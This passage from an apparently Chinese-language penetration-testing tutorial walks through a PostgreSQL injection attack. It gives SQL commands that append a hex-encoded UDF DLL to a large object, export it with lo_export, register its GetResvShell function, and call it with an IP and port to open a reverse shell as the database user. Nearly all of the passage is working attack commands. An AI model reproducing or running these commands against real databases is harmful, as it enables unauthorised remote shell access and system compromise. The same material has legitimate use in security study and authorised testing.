其中 HEXCODE 部分为 UDF 经过十六进制编码之后所得,可以使用 winhex 进行此操作。由于一般情况下注入点都在 URL 处,建议每次从 udf 函数中截取 512 字节并转换为 hex 值。

继续向大对象中追加数据,直到 UDF 完全导入:

1
select lo_open(OID,x'60000'::int);select lo_lseek(0,0,2);select lo_write(0,decode('XXXXXXXXXXXX','hex'));

将文件导出:

1
select lo_export(OID,'1.dll');

删除大对象:

1
select lo_unlink(OID);;

注册 UDF 函数:

1
Create or replace function test(text,int) returns int as '1.dll','GetResvShell' language c;

获取反弹 Shell:

1
select test('192.168.1.10',8888);

QQ截图20211011230000

至此对 postgres UDF函数利用已经结束了,得到一个与数据库进程相同权限的 Shell 已经是能够通过注入点获取到的最高权限了(在 linux 下为 postgres 用户权限,windows 下为 Network Services)。

参考资料